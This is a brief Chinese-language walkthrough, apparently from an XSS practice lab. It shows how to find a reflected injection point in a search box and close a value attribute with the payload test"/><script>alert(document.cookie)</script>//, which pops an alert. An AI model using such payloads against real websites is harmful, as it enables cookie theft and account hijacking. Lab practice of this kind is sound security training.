1、先找注入点这里输入test点击搜索,确认xss的位置 2、xss位置在value里面,构造闭合test"/><script>alert(document.cookie)</script>// 点击搜索出现弹框